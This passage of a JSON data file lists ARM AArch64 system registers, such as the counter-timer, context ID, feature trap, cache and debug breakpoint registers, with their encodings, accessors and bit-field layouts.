"IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTHP_CVAL_EL2", "fullname": "Counter-timer Physical Timer CompareValue register (EL2)", "enc": [3, 4, 14, 2, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTP_CVAL_EL0", "fullname": "Counter-timer Physical Timer CompareValue register (EL2)", "enc": [3, 3, 14, 2, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTHPS_CTL_EL2", "fullname": "Counter-timer Secure Physical Timer Control register (EL2)", "enc": [3, 4, 14, 5, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTP_CTL_EL0", "fullname": "Counter-timer Secure Physical Timer Control register (EL2)", "enc": [3, 3, 14, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTHPS_CVAL_EL2", "fullname": "Counter-timer Secure Physical Timer CompareValue register (EL2)", "enc": [3, 4, 14, 5, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTP_CVAL_EL0", "fullname": "Counter-timer Secure Physical Timer CompareValue register (EL2)", "enc": [3, 3, 14, 2, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTHPS_TVAL_EL2", "fullname": "Counter-timer Secure Physical Timer TimerValue register (EL2)", "enc": [3, 4, 14, 5, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTP_TVAL_EL0", "fullname": "Counter-timer Secure Physical Timer TimerValue register (EL2)", "enc": [3, 3, 14, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTHP_TVAL_EL2", "fullname": "Counter-timer Physical Timer TimerValue register (EL2)", "enc": [3, 4, 14, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTP_TVAL_EL0", "fullname": "Counter-timer Physical Timer TimerValue register (EL2)", "enc": [3, 3, 14, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTHV_CTL_EL2", "fullname": "Counter-timer Virtual Timer Control register (EL2)", "enc": [3, 4, 14, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTV_CTL_EL0", "fullname": "Counter-timer Virtual Timer Control register (EL2)", "enc": [3, 3, 14, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTHV_CVAL_EL2", "fullname": "Counter-timer Virtual Timer CompareValue register (EL2)", "enc": [3, 4, 14, 3, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTV_CVAL_EL0", "fullname": "Counter-timer Virtual Timer CompareValue register (EL2)", "enc": [3, 3, 14, 3, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTHVS_CTL_EL2", "fullname": "Counter-timer Secure Virtual Timer Control register (EL2)", "enc": [3, 4, 14, 4, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTV_CTL_EL0", "fullname": "Counter-timer Secure Virtual Timer Control register (EL2)", "enc": [3, 3, 14, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTHVS_CVAL_EL2", "fullname": "Counter-timer Secure Virtual Timer CompareValue register (EL2)", "enc": [3, 4, 14, 4, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTV_CVAL_EL0", "fullname": "Counter-timer Secure Virtual Timer CompareValue register (EL2)", "enc": [3, 3, 14, 3, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTHVS_TVAL_EL2", "fullname": "Counter-timer Secure Virtual Timer TimerValue register (EL2)", "enc": [3, 4, 14, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTV_TVAL_EL0", "fullname": "Counter-timer Secure Virtual Timer TimerValue register (EL2)", "enc": [3, 3, 14, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTHV_TVAL_EL2", "fullname": "Counter-timer Virtual Timer TimerValue Register (EL2)", "enc": [3, 4, 14, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTV_TVAL_EL0", "fullname": "Counter-timer Virtual Timer TimerValue Register (EL2)", "enc": [3, 3, 14, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTKCTL_EL1", "fullname": "Counter-timer Kernel Control register", "enc": [3, 0, 14, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EVNTIS", "msb": 17, "lsb": 17}, {"name": "EL0PTEN", "msb": 9, "lsb": 9}, {"name": "EL0VTEN", "msb": 8, "lsb": 8}, {"name": "EVNTI", "msb": 7, "lsb": 4}, {"name": "EVNTDIR", "msb": 3, "lsb": 3}, {"name": "EVNTEN", "msb": 2, "lsb": 2}, {"name": "EL0VCTEN", "msb": 1, "lsb": 1}, {"name": "EL0PCTEN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTKCTL_EL12", "fullname": "Counter-timer Kernel Control register", "enc": [3, 5, 14, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EVNTIS", "msb": 17, "lsb": 17}, {"name": "EL0PTEN", "msb": 9, "lsb": 9}, {"name": "EL0VTEN", "msb": 8, "lsb": 8}, {"name": "EVNTI", "msb": 7, "lsb": 4}, {"name": "EVNTDIR", "msb": 3, "lsb": 3}, {"name": "EVNTEN", "msb": 2, "lsb": 2}, {"name": "EL0VCTEN", "msb": 1, "lsb": 1}, {"name": "EL0PCTEN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTPCT_EL0", "fullname": "Counter-timer Physical Count register", "enc": [3, 3, 14, 0, 1], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTP_CTL_EL0", "fullname": "Counter-timer Physical Timer Control register", "enc": [3, 3, 14, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTP_CTL_EL02", "fullname": "Counter-timer Physical Timer Control register", "enc": [3, 5, 14, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTPCTSS_EL0", "fullname": "Counter-timer Self-Synchronized Physical Count register", "enc": [3, 3, 14, 0, 5], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTP_CVAL_EL0", "fullname": "Counter-timer Physical Timer CompareValue register", "enc": [3, 3, 14, 2, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTP_CVAL_EL02", "fullname": "Counter-timer Physical Timer CompareValue register", "enc": [3, 5, 14, 2, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTPOFF_EL2", "fullname": "Counter-timer Physical Offset register", "enc": [3, 4, 14, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTPS_CTL_EL1", "fullname": "Counter-timer Physical Secure Timer Control register", "enc": [3, 7, 14, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTPS_CVAL_EL1", "fullname": "Counter-timer Physical Secure Timer CompareValue register", "enc": [3, 7, 14, 2, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTPS_TVAL_EL1", "fullname": "Counter-timer Physical Secure Timer TimerValue register", "enc": [3, 7, 14, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTP_TVAL_EL0", "fullname": "Counter-timer Physical Timer TimerValue register", "enc": [3, 3, 14, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTP_TVAL_EL02", "fullname": "Counter-timer Physical Timer TimerValue register", "enc": [3, 5, 14, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTVCT_EL0", "fullname": "Counter-timer Virtual Count register", "enc": [3, 3, 14, 0, 2], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTV_CTL_EL0", "fullname": "Counter-timer Virtual Timer Control register", "enc": [3, 3, 14, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTV_CTL_EL02", "fullname": "Counter-timer Virtual Timer Control register", "enc": [3, 5, 14, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISTATUS", "msb": 2, "lsb": 2}, {"name": "IMASK", "msb": 1, "lsb": 1}, {"name": "ENABLE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTVCTSS_EL0", "fullname": "Counter-timer Self-Synchronized Virtual Count register", "enc": [3, 3, 14, 0, 6], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTV_CVAL_EL0", "fullname": "Counter-timer Virtual Timer CompareValue register", "enc": [3, 3, 14, 3, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTV_CVAL_EL02", "fullname": "Counter-timer Virtual Timer CompareValue register", "enc": [3, 5, 14, 3, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTVOFF_EL2", "fullname": "Counter-timer Virtual Offset register", "enc": [3, 4, 14, 0, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CNTV_TVAL_EL0", "fullname": "Counter-timer Virtual Timer TimerValue register", "enc": [3, 3, 14, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CNTV_TVAL_EL02", "fullname": "Counter-timer Virtual Timer TimerValue register", "enc": [3, 5, 14, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TimerValue", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CONTEXTIDR_EL1", "fullname": "Context ID Register (EL1)", "enc": [3, 0, 13, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PROCID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CONTEXTIDR_EL12", "fullname": "Context ID Register (EL1)", "enc": [3, 5, 13, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PROCID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CONTEXTIDR_EL1", "fullname": "Context ID Register (EL2)", "enc": [3, 0, 13, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PROCID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CONTEXTIDR_EL2", "fullname": "Context ID Register (EL2)", "enc": [3, 4, 13, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PROCID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CPACR_EL1", "fullname": "Architectural Feature Access Control Register", "enc": [3, 0, 1, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TTA", "msb": 28, "lsb": 28}, {"name": "FPEN", "msb": 21, "lsb": 20}, {"name": "ZEN", "msb": 17, "lsb": 16}]}], "width": 64}, {"index": 0, "name": "CPACR_EL12", "fullname": "Architectural Feature Access Control Register", "enc": [3, 5, 1, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TTA", "msb": 28, "lsb": 28}, {"name": "FPEN", "msb": 21, "lsb": 20}, {"name": "ZEN", "msb": 17, "lsb": 16}]}], "width": 64}, {"index": 0, "name": "RCTX", "fullname": "Cache Prefetch Prediction Restriction by Context", "enc": [1, 3, 7, 3, 7], "accessors": ["CPP"], "fieldsets": [{"fields": [{"name": "GVMID", "msb": 48, "lsb": 48}, {"name": "VMID", "msb": 47, "lsb": 32}, {"name": "NS", "msb": 26, "lsb": 26}, {"name": "EL", "msb": 25, "lsb": 24}, {"name": "GASID", "msb": 16, "lsb": 16}, {"name": "ASID", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CPACR_EL1", "fullname": "Architectural Feature Trap Register (EL2)", "enc": [3, 0, 1, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HCR_EL2.E2H == 1", "fields": [{"name": "TCPAC", "msb": 31, "lsb": 31}, {"name": "TAM", "msb": 30, "lsb": 30}, {"name": "TTA", "msb": 28, "lsb": 28}, {"name": "FPEN", "msb": 21, "lsb": 20}, {"name": "ZEN", "msb": 17, "lsb": 16}]}, {"instance": "HCR_EL2.E2H == 0", "fields": [{"name": "TCPAC", "msb": 31, "lsb": 31}, {"name": "TAM", "msb": 30, "lsb": 30}, {"name": "TTA", "msb": 20, "lsb": 20}, {"name": "TFP", "msb": 10, "lsb": 10}, {"name": "TZ", "msb": 8, "lsb": 8}]}], "width": 64}, {"index": 0, "name": "CPTR_EL2", "fullname": "Architectural Feature Trap Register (EL2)", "enc": [3, 4, 1, 1, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HCR_EL2.E2H == 1", "fields": [{"name": "TCPAC", "msb": 31, "lsb": 31}, {"name": "TAM", "msb": 30, "lsb": 30}, {"name": "TTA", "msb": 28, "lsb": 28}, {"name": "FPEN", "msb": 21, "lsb": 20}, {"name": "ZEN", "msb": 17, "lsb": 16}]}, {"instance": "HCR_EL2.E2H == 0", "fields": [{"name": "TCPAC", "msb": 31, "lsb": 31}, {"name": "TAM", "msb": 30, "lsb": 30}, {"name": "TTA", "msb": 20, "lsb": 20}, {"name": "TFP", "msb": 10, "lsb": 10}, {"name": "TZ", "msb": 8, "lsb": 8}]}], "width": 64}, {"index": 0, "name": "CPTR_EL3", "fullname": "Architectural Feature Trap Register (EL3)", "enc": [3, 6, 1, 1, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TCPAC", "msb": 31, "lsb": 31}, {"name": "TAM", "msb": 30, "lsb": 30}, {"name": "TTA", "msb": 20, "lsb": 20}, {"name": "TFP", "msb": 10, "lsb": 10}, {"name": "EZ", "msb": 8, "lsb": 8}]}], "width": 64}, {"index": 0, "name": "CSSELR_EL1", "fullname": "Cache Size Selection Register", "enc": [3, 2, 0, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TnD", "msb": 4, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}, {"name": "InD", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CTR_EL0", "fullname": "Cache Type Register", "enc": [3, 3, 0, 0, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "TminLine", "msb": 37, "lsb": 32}, {"name": "DIC", "msb": 29, "lsb": 29}, {"name": "IDC", "msb": 28, "lsb": 28}, {"name": "CWG", "msb": 27, "lsb": 24}, {"name": "ERG", "msb": 23, "lsb": 20}, {"name": "DminLine", "msb": 19, "lsb": 16}, {"name": "L1Ip", "msb": 15, "lsb": 14}, {"name": "IminLine", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "CurrentEL", "fullname": "Current Exception Level", "enc": [3, 0, 4, 2, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "EL", "msb": 3, "lsb": 2}]}], "width": 64}, {"index": 0, "name": "DACR32_EL2", "fullname": "Domain Access Control Register", "enc": [3, 4, 3, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "D", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DAIF", "fullname": "Interrupt Mask Bits", "enc": [3, 3, 4, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "D", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}]}], "width": 64}, {"index": 0, "name": "DBGAUTHSTATUS_EL1", "fullname": "Debug Authentication Status register", "enc": [2, 0, 7, 14, 6], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "SNID", "msb": 7, "lsb": 6}, {"name": "SNID", "msb": 7, "lsb": 6}, {"name": "SID", "msb": 5, "lsb": 4}, {"name": "NSNID", "msb": 3, "lsb": 2}, {"name": "NSNID", "msb": 3, "lsb": 2}, {"name": "NSID", "msb": 1, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DBGBCR0_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "DBGBCR1_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "DBGBCR2_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "DBGBCR3_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 4, "name": "DBGBCR4_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 5, "name": "DBGBCR5_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 6, "name": "DBGBCR6_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 7, "name": "DBGBCR7_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 8, "name": "DBGBCR8_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 9, "name": "DBGBCR9_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 10, "name": "DBGBCR10_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 11, "name": "DBGBCR11_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 12, "name": "DBGBCR12_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 13, "name": "DBGBCR13_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 14, "name": "DBGBCR14_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 15, "name": "DBGBCR15_EL1", "fullname": "Debug Breakpoint Control Registers", "enc": [2, 0, 0, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BT", "msb": 23, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 8, "lsb": 5}, {"name": "PMC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DBGBVR0_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 